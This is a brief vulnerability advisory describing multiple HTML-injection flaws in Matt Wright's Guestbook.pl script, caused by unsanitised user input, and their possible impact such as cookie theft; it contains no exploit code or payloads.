Discussion
Matt Wright Guestbook Guestbook.PL Multiple HTML Injection Vulnerabilities
Guestbook is prone to multiple HTML-injection vulnerabilities; the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
